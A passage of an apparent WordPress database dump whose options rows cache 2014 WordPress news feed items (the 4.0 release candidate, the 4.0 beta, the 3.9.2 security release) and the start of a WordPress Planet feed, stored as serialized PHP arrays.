href=\"https://profiles.wordpress.org/philiparthurmoore\">Philip Arthur Moore</a>, <a href=\"https://profiles.wordpress.org/mordauk\">Pippin Williamson</a>, <a href=\"https://profiles.wordpress.org/nprasath002\">Prasath Nadarajah</a>, <a href=\"https://profiles.wordpress.org/prettyboymp\">prettyboymp</a>, <a href=\"https://profiles.wordpress.org/raamdev\">Raam Dev</a>, <a href=\"https://profiles.wordpress.org/rachelbaker\">Rachel Baker</a>, <a href=\"https://profiles.wordpress.org/mauryaratan\">Ram Ratan Maurya</a>, <a href=\"https://profiles.wordpress.org/ramonchiara\">ramonchiara</a>, <a href=\"https://profiles.wordpress.org/rhyswynne\">Rhys Wynne</a>, <a href=\"https://profiles.wordpress.org/ricardocorreia\">Ricardo Correia</a>, <a href=\"https://profiles.wordpress.org/richard2222\">Richard</a>, <a href=\"https://profiles.wordpress.org/theorboman\">Richard Sweeney</a>, <a href=\"https://profiles.wordpress.org/iamfriendly\">Richard Tape</a>, <a href=\"https://profiles.wordpress.org/rickalee\">Ricky Lee Whittemore</a>, <a href=\"https://profiles.wordpress.org/miqrogroove\">Robert Chapin</a>, <a href=\"https://profiles.wordpress.org/robmiller\">robmiller</a>, <a href=\"https://profiles.wordpress.org/rodrigosprimo\">Rodrigo Primo</a>, <a href=\"https://profiles.wordpress.org/romaimperator\">romaimperator</a>, <a href=\"https://profiles.wordpress.org/roothorick\">roothorick</a>, <a href=\"https://profiles.wordpress.org/ruudjoyo\">Ruud Laan</a>, <a href=\"https://profiles.wordpress.org/ryan\">Ryan Boren</a>, <a href=\"https://profiles.wordpress.org/rmccue\">Ryan McCue</a>, <a href=\"https://profiles.wordpress.org/salcode\">Sal Ferrarello</a>, <a href=\"https://profiles.wordpress.org/otto42\">Samuel Wood (Otto)</a>, <a href=\"https://profiles.wordpress.org/sandyr\">Sandeep</a>, <a href=\"https://profiles.wordpress.org/scottlee\">Scott Lee</a>, <a href=\"https://profiles.wordpress.org/coffee2code\">Scott Reilly</a>, <a href=\"https://profiles.wordpress.org/wonderboymusic\">Scott Taylor</a>, <a href=\"https://profiles.wordpress.org/greglone\">ScreenfeedFr</a>, <a href=\"https://profiles.wordpress.org/scribu\">scribu</a>, <a href=\"https://profiles.wordpress.org/sdasse\">sdasse</a>, <a href=\"https://profiles.wordpress.org/bootsz\">Sean Butze</a>, <a href=\"https://profiles.wordpress.org/seanchayes\">Sean Hayes</a>, <a href=\"https://profiles.wordpress.org/nessworthy\">Sean Nessworthy</a>, <a href=\"https://profiles.wordpress.org/sergeybiryukov\">Sergey Biryukov</a>, <a href=\"https://profiles.wordpress.org/shahpranaf\">shahpranaf</a>, <a href=\"https://profiles.wordpress.org/shaunandrews\">Shaun Andrews</a>, <a href=\"https://profiles.wordpress.org/shinichin\">ShinichiN</a>, <a href=\"https://profiles.wordpress.org/pross\">Simon Prosser</a>, <a href=\"https://profiles.wordpress.org/simonwheatley\">Simon Wheatley</a>, <a href=\"https://profiles.wordpress.org/siobhan\">Siobhan</a>, <a href=\"https://profiles.wordpress.org/siobhyb\">Siobhan Bamber (siobhyb)</a>, <a href=\"https://profiles.wordpress.org/sirzooro\">sirzooro</a>, <a href=\"https://profiles.wordpress.org/solarissmoke\">solarissmoke</a>, <a href=\"https://profiles.wordpress.org/sonjanyc\">sonjanyc</a>, <a href=\"https://profiles.wordpress.org/spencerfinnell\">Spencer Finnell</a>, <a href=\"https://profiles.wordpress.org/piontkowski\">Spencer Piontkowski</a>, <a href=\"https://profiles.wordpress.org/stephcook22\">stephcook22</a>, <a href=\"https://profiles.wordpress.org/netweb\">Stephen Edgar</a>, <a href=\"https://profiles.wordpress.org/stephenharris\">Stephen Harris</a>, <a href=\"https://profiles.wordpress.org/sbruner\">Steve Bruner</a>, <a href=\"https://profiles.wordpress.org/stevenkword\">Steven Word</a>, <a href=\"https://profiles.wordpress.org/miyauchi\">Takayuki Miyauchi</a>, <a href=\"https://profiles.wordpress.org/tanner-m\">Tanner Moushey</a>, <a href=\"https://profiles.wordpress.org/tlovett1\">Taylor Lovett</a>, <a href=\"https://profiles.wordpress.org/tbrams\">tbrams</a>, <a href=\"https://profiles.wordpress.org/tobiasbg\">TobiasBg</a>, <a href=\"https://profiles.wordpress.org/tomauger\">Tom Auger</a>, <a href=\"https://profiles.wordpress.org/willmot\">Tom Willmot</a>, <a href=\"https://profiles.wordpress.org/topher1kenobe\">Topher</a>, <a href=\"https://profiles.wordpress.org/topquarky\">topquarky</a>, <a href=\"https://profiles.wordpress.org/zodiac1978\">Torsten Landsiedel</a>, <a href=\"https://profiles.wordpress.org/toru\">Toru Miki</a>, <a href=\"https://profiles.wordpress.org/wpsmith\">Travis Smith</a>, <a href=\"https://profiles.wordpress.org/umeshsingla\">Umesh Kumar</a>, <a href=\"https://profiles.wordpress.org/undergroundnetwork\">undergroundnetwork</a>, <a href=\"https://profiles.wordpress.org/varunagw\">VarunAgw</a>, <a href=\"https://profiles.wordpress.org/wawco\">wawco</a>, <a href=\"https://profiles.wordpress.org/westonruter\">Weston Ruter</a>, <a href=\"https://profiles.wordpress.org/wokamoto\">wokamoto</a>, <a href=\"https://profiles.wordpress.org/xsonic\">xsonic</a>, <a href=\"https://profiles.wordpress.org/yoavf\">Yoav Farhi</a>, <a href=\"https://profiles.wordpress.org/yurivictor\">Yuri Victor</a>, <a href=\"https://profiles.wordpress.org/zbtirrell\">Zach Tirrell</a>, and <a href=\"https://profiles.wordpress.org/vanillalounge\">Ze Fontainhas</a>. Also thanks to <a href=\"http://michaelpick.wordpress.com/\">Michael Pick</a> for producing the release video, and Helen with <a href=\"http://adriansandi.com\">Adrián Sandí</a> for the music.</p>\n<p>If you want to follow along or help out, check out <a href=\"https://make.wordpress.org/\">Make WordPress</a> and our <a href=\"https://make.wordpress.org/core/\">core development blog</a>. Thanks for choosing WordPress. See you soon for version 4.1!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:46:\"https://wordpress.org/news/2014/09/benny/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"WordPress 4.0 Release Candidate\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:67:\"https://wordpress.org/news/2014/08/wordpress-4-0-release-candidate/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"https://wordpress.org/news/2014/08/wordpress-4-0-release-candidate/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 27 Aug 2014 12:20:37 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3287\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:321:\"The first release candidate for WordPress 4.0 is now available! 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Check out the <a href=\"https://wordpress.org/news/2014/07/wordpress-4-0-beta-1/\">Beta 1 announcement post</a> for more details on those features. We hope to ship WordPress 4.0 <em>next week</em>, but we need your help to get there. If you haven’t tested 4.0 yet, there’s no time like the present. (Please, not on a production site, unless you’re adventurous.)</p>\n<p><strong>Think you’ve found a bug? </strong>Please post to the <a href=\"https://wordpress.org/support/forum/alphabeta/\">Alpha/Beta area in the support forums</a>. If any known issues come up, you’ll be able to <a href=\"https://core.trac.wordpress.org/report/5\">find them here</a>.</p>\n<p>To test WordPress 4.0 RC1, try the <a href=\"https://wordpress.org/extend/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightlies”). Or you can <a href=\"https://wordpress.org/wordpress-4.0-RC1.zip\">download the release candidate here</a> (zip). If you’d like to learn more about what’s new in WordPress 4.0, visit the awesome About screen in your dashboard (<strong><img src=\"https://i0.wp.com/core.svn.wordpress.org/branches/3.6/wp-content/themes/twentyten/images/wordpress.png?w=692\" alt=\"\" width=\"16\" height=\"16\" /> → About</strong> in the toolbar).</p>\n<p><strong>Developers,</strong> please test your plugins and themes against WordPress 4.0 and update your plugin&#8217;s <em>Tested up to</em> version in the readme to 4.0 before next week. If you find compatibility problems, please be sure to post any issues to the support forums so we can figure those out before the final release. You also may want to <a href=\"https://make.wordpress.org/core/2014/08/21/introducing-plugin-icons-in-the-plugin-installer/\">give your plugin an icon</a>, which we launched last week and will appear in the dashboard along with banners.</p>\n<p><em>It is almost time</em><br />\n<em> For the 4.0 release</em><br />\n<em> And its awesomeness</em></p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"https://wordpress.org/news/2014/08/wordpress-4-0-release-candidate/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:20:\"WordPress 4.0 Beta 4\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://wordpress.org/news/2014/08/wordpress-4-0-beta-4/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:65:\"https://wordpress.org/news/2014/08/wordpress-4-0-beta-4/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 15 Aug 2014 05:06:19 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3280\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:353:\"The fourth and likely final beta for WordPress 4.0 is now available. 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If you’re just joining us, please see <a href=\"https://wordpress.org/news/2014/07/wordpress-4-0-beta-1/\">the Beta 1 announcement post</a> for what to look out for.</p>\n<p><strong>If you think you’ve found a bug</strong>, you can post to the <a href=\"https://wordpress.org/support/forum/alphabeta\">Alpha/Beta area</a> in the support forums, where friendly moderators are standing by. <b>Plugin developers</b><strong>,</strong> if you haven’t tested WordPress 4.0 yet, now is the time — and be sure to update the “tested up to” version for your plugins so they’re listed as compatible with 4.0.</p>\n<p><strong>This software is still in development,</strong> so we don’t recommend you run it on a production site. Consider setting up a test site just to play with the new version. To test WordPress 4.0, try the <a href=\"https://wordpress.org/extend/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightlies”). Or you can <a href=\"https://wordpress.org/wordpress-4.0-beta4.zip\">download the beta here</a> (zip).</p>\n<p><em>We are working hard</em><br />\n<em>To finish up 4.0<br />\n</em><em>Will you help us too?</em></p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"https://wordpress.org/news/2014/08/wordpress-4-0-beta-4/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"WordPress 3.9.2 Security Release\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:51:\"https://wordpress.org/news/2014/08/wordpress-3-9-2/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"https://wordpress.org/news/2014/08/wordpress-3-9-2/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 06 Aug 2014 19:04:27 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Security\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3269\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:377:\"WordPress 3.9.2 is now available as a security release for all previous versions. We strongly encourage you to update your sites immediately. This release fixes a possible denial of service issue in PHP&#8217;s XML processing, reported by Nir Goldshlager of the Salesforce.com Product Security Team. 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It  was fixed by Michael Adams and Andrew Nacin of the WordPress security team and David Rothstein of the <a href=\"https://www.drupal.org/SA-CORE-2014-004\">Drupal security team</a>. This is the first time our two projects have coordinated joint security releases.</p>\n<p>WordPress 3.9.2 also contains other security changes:</p>\n<ul>\n<li>Fixes a possible but unlikely code execution when processing widgets (WordPress is not affected by default), discovered by <a href=\"http://www.buayacorp.com/\">Alex Concha</a> of the WordPress security team.</li>\n<li>Prevents information disclosure via XML entity attacks in the external GetID3 library, reported by <a href=\"http://onsec.ru/en/\">Ivan Novikov</a> of ONSec.</li>\n<li>Adds protections against brute attacks against CSRF tokens, reported by <a href=\"http://systemoverlord.com/\">David Tomaschik</a> of the Google Security Team.</li>\n<li>Contains some additional security hardening, like preventing cross-site scripting that could be triggered only by administrators.</li>\n</ul>\n<p>We appreciated responsible disclosure of these issues directly to our security team. For more information, see the <a href=\"https://codex.wordpress.org/Version_3.9.2\">release notes</a> or consult the <a href=\"https://core.trac.wordpress.org/log/branches/3.9?stop_rev=29383&amp;rev=29411\">list of changes</a>.</p>\n<p><a href=\"https://wordpress.org/download/\">Download WordPress 3.9.2</a> or venture over to <strong>Dashboard → Updates</strong> and simply click &#8220;Update Now&#8221;.</p>\n<p>Sites that support automatic background updates will be updated to WordPress 3.9.2 within 12 hours. (If you are still on WordPress 3.8.3 or 3.7.3, you will also be updated to 3.8.4 or 3.7.4. We don&#8217;t support older versions, so please update to 3.9.2 for the latest and greatest.)</p>\n<p>Already testing WordPress 4.0? The third beta is <a href=\"https://wordpress.org/wordpress-4.0-beta3.zip\">now available</a> (zip) and it contains these security fixes.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://wordpress.org/news/2014/08/wordpress-3-9-2/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}s:27:\"http://www.w3.org/2005/Atom\";a:1:{s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:0:\"\";s:7:\"attribs\";a:1:{s:0:\"\";a:3:{s:4:\"href\";s:32:\"https://wordpress.org/news/feed/\";s:3:\"rel\";s:4:\"self\";s:4:\"type\";s:19:\"application/rss+xml\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:44:\"http://purl.org/rss/1.0/modules/syndication/\";a:2:{s:12:\"updatePeriod\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"hourly\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:15:\"updateFrequency\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"1\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}}}}}}s:4:\"type\";i:128;s:7:\"headers\";a:9:{s:6:\"server\";s:5:\"nginx\";s:4:\"date\";s:29:\"Tue, 17 Feb 2015 18:06:16 GMT\";s:12:\"content-type\";s:23:\"text/xml; charset=UTF-8\";s:10:\"connection\";s:5:\"close\";s:4:\"vary\";s:15:\"Accept-Encoding\";s:10:\"x-pingback\";s:37:\"https://wordpress.org/news/xmlrpc.php\";s:13:\"last-modified\";s:29:\"Thu, 18 Dec 2014 18:57:51 GMT\";s:15:\"x-frame-options\";s:10:\"SAMEORIGIN\";s:4:\"x-nc\";s:11:\"HIT lax 249\";}s:5:\"build\";s:14:\"20130911090210\";}','no'),(139,'WPLANG','','yes'),(125,'_transient_timeout_feed_867bd5c64f85878d03a060509cd2f92c','1423899499','no'),(126,'_transient_feed_867bd5c64f85878d03a060509cd2f92c','a:4:{s:5:\"child\";a:1:{s:0:\"\";a:1:{s:3:\"rss\";a:1:{i:0;a:6:{s:4:\"data\";s:3:\"\n\n\n\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:7:\"version\";s:3:\"2.0\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:1:{s:7:\"channel\";a:1:{i:0;a:6:{s:4:\"data\";s:61:\"\n	\n	\n	\n	\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:16:\"WordPress Planet\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://planet.wordpress.org/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"language\";a:1:{i:0;a:5:{s:4:\"data\";s:2:\"en\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:47:\"WordPress Planet - http://planet.wordpress.org/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"item\";a:50:{i:0;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:27:\"Matt: Passing of David Carr\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44692\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:43:\"http://ma.tt/2015/02/passing-of-david-carr/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:330:\"<p>Shocked and dismayed this morning on the news that David Carr passed last night after collapsing in the New York Times newsroom, where he was working into the evening. If you&#8217;re not familiar with his work or legacy, <a href=\"http://mediagazer.com/150212/p36#a150212p36\">these links on Mediagazer are a good start</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 16:04:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:1;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:62:\"WPTavern: A Look Back at 16 Automattic Acquisitions Since 2007\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38863\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"http://wptavern.com/a-look-back-at-16-automattic-acquisitions-since-2007\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:23673:\"<p>Since <a title=\"http://automattic.com/\" href=\"http://automattic.com/\">Automattic</a> was founded in 2005, it has acquired several businesses, services, products, and people. In August, the company will be 10 years old and I thought it would be interesting to see if the acquisitions the company has made are still around. The list is organized from earliest to latest.</p>\n<h2>Gravatar</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/03/GravatarLogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-18453 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/03/GravatarLogo.png?resize=239%2C63\" alt=\"Gravatar Logo 2\" /></a> <a title=\"http://en.gravatar.com/\" href=\"http://en.gravatar.com/\">Gravatar</a> stands for globally recognized avatar and is an image that follows you around on the web. This eliminates the hassle of maintaining a visual identity across multiple communities. In 2014, what was supposed to be a Gravatar mobile app, <a title=\"http://wptavern.com/automattics-planned-gravatar-app-morphs-into-a-selfies-app-for-android\" href=\"http://wptavern.com/automattics-planned-gravatar-app-morphs-into-a-selfies-app-for-android\">morphed into a Selfies app for Android</a>. Although Gravatar is supported in a number of applications, I think there&#8217;s still a lot of work to do before it becomes a globally recognized image. Gravatar was created by Tom Werner and <a title=\"http://blog.gravatar.com/2007/10/18/automattic-gravatar/\" href=\"http://blog.gravatar.com/2007/10/18/automattic-gravatar/\">acquired in 2007</a>.</p>\n<h2>BuddyPress Acqui-hire</h2>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2009/04/buddypresslogo.png\" 